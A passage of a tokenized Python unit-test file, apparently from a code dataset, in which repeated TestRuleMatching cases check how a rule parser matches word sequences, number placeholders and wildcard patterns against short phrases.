"\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "good", "bye", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "list", "3_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'(", "hell", "o", " ", "|", " ", "good", "bye", ")'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "good", "bye", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "hell", "o", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "rema", "inin", "g", "\\u", "words_", ")_", ",_", "[_", "'", "good", "bye", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "list", "4_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "hell", "o", " ", "(", "world", " ", "|", " ", "[", "eno", "rmo", "us", "]", " ", "univ", "erse", " ", ")'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "world", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "hell", "o", "'_", ",_", "'", "world", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "list", "5_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "hell", "o", " ", "(", "world", " ", "|", " ", "[", "eno", "rmo", "us", "]", " ", "univ", "erse", " ", ")'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "univ", "erse", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "hell", "o", "'_", ",_", "'", "univ", "erse", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "list", "6_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "hell", "o", " ", "(", "world", " ", "|", " ", "[", "eno", "rmo", "us", "]", " ", "univ", "erse", " ", ")'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "eno", "rmo", "us", " ", "univ", "erse", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "hell", "o", "'_", ",_", "'", "eno", "rmo", "us", "'_", ",_", "'", "univ", "erse", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "list", "7_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "hell", "o", " ", "(", "world", " ", "|", " ", "[", "eno", "rmo", "us", "]", " ", "univ", "erse", " ", ")'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "world", " ", "eno", "rmo", "us", " ", "univ", "erse", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "hell", "o", "'_", ",_", "'", "world", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "rema", "inin", "g", "\\u", "words_", ")_", ",_", "[_", "'", "eno", "rmo", "us", "'_", ",_", "'", "univ", "erse", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "list", "8_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'(", "hell", "o", " ", "world", ")'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "world", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "hell", "o", "'_", ",_", "'", "world", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "num", "0_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'<", "num", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "four", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "4", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "num1_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'<", "num", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "4", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "4", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "num2_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'<", "num", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'-", "4.2", "1", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'-", "4.2", "1", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "num", "3_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'<", "num", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "e", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "None_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "num", "4_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "range", " ", "<", "num", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "range", " ", "8", "3", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "range", "'_", ",_", "'", "8", "3", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "num", "5_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "range", " ", "<", "num", ">[", "through", " ", "<", "num", ">]", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "range", " ", "8", "3", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "range", "'_", ",_", "'", "8", "3", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "num", "6_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "range", " ", "<", "num", ">[", "through", " ", "<", "num", ">]", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "range", " ", "8", "3", " ", "through", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "range", "'_", ",_", "'", "8", "3", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "rema", "inin", "g", "\\u", "words_", ")_", ",_", "[_", "'", "through", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "num", "10_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "range", " ", "banana", " ", "[", "through", " ", "waf", "fle", "]'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "range", " ", "banana", " ", "through", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "range", "'_", ",_", "'", "banana", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "rema", "inin", "g", "\\u", "words_", ")_", ",_", "[_", "'", "through", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "num", "7_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "range", " ", "<", "num", ">[", "through", " ", "<", "num", ">]", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "range", " ", "8", "3", " ", "through", " ", "-1", "00", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "range", "'_", ",_", "'", "8", "3", "'_", ",_", "'", "through", "'_", ",_", "'-", "100", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "num", "8_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "range", " ", "<", "num", ">[", "through", " ", "<", "num", ">[", "step", " ", "<", "num", ">]", "]'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "range", " ", "8", "3", " ", "through", " ", "-1", "00", " ", "step", " ", "-", "4", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "range", "'_", ",_", "'", "8", "3", "'_", ",_", "'", "through", "'_", ",_", "'-", "100", "'_", ",_", "'", "step", "'_", ",_", "'-", "4", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "num", "9_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'<", "num", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "too", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "2", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "any", "1_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'<", "any", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "yo", "wz", "a", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "yo", "wz", "a", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "any", "2_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'<", "any", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "yo", "wz", "a", " ", "wo", "wz", "a", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "yo", "wz", "a", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "rema", "inin", "g", "\\u", "words_", ")_", ",_", "[_", "'", "wo", "wz", "a", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "any", "3_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "hell", "o", " ", "<", "any", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "dai", "sy", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "hell", "o", "'_", ",_", "'", "dai", "sy", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "any", "4_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "hell", "o", " ", "<", "any", ">", " ", "<", "3", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "dea", "r", " ", "omni", "pote", "nt", " ", "leader", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "hell", "o", "'_", ",_", "'", "dea", "r", "'_", ",_", "'", "omni", "pote", "nt", "'_", ",_", "'", "leader", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "any", "5_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "hell", "o", " ", "<", "any", ">", " ", "<", "3", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "dea", "r", " ", "leader", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "None_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "any", "6_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "hell", "o", " ", "<", "any", ">", " ", "<", "3", "->", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "dea", "r", " ", "leader", " ", "how", " ", "are", " ", "you", " ", "toda", "y", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "hell", "o", "'_", ",_", "'", "dea", "r", "'_", ",_", "'", "leader", "'_", ",_", "'", "how", "'_", ",_", "'", "are", "'_", ",_", "'", "you", "'_", ",_", "'", "toda", "y", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "any", "7_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "hell", "o", " ", "<", "any", ">", " ", "<", "0", "-", "3", ">", " ", "are", " ", "you", " ", "toda", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "dea", "r", " ", "leader", " ", "how", " ", "are", " ", "you", " ", "toda", "y", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "hell", "o", "'_", ",_", "'", "dea", "r", "'_", ",_", "'", "leader", "'_", ",_", "'", "how", "'_", ",_", "'", "are", "'_", ",_", "'", "you", "'_", ",_", "'", "toda", "y", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "any", "8_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "hell", "o", " ", "<", "any", ">", " ", "<", "0", "-", "3", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "dea", "r", " ", "leader", "'_", "._", "split_", 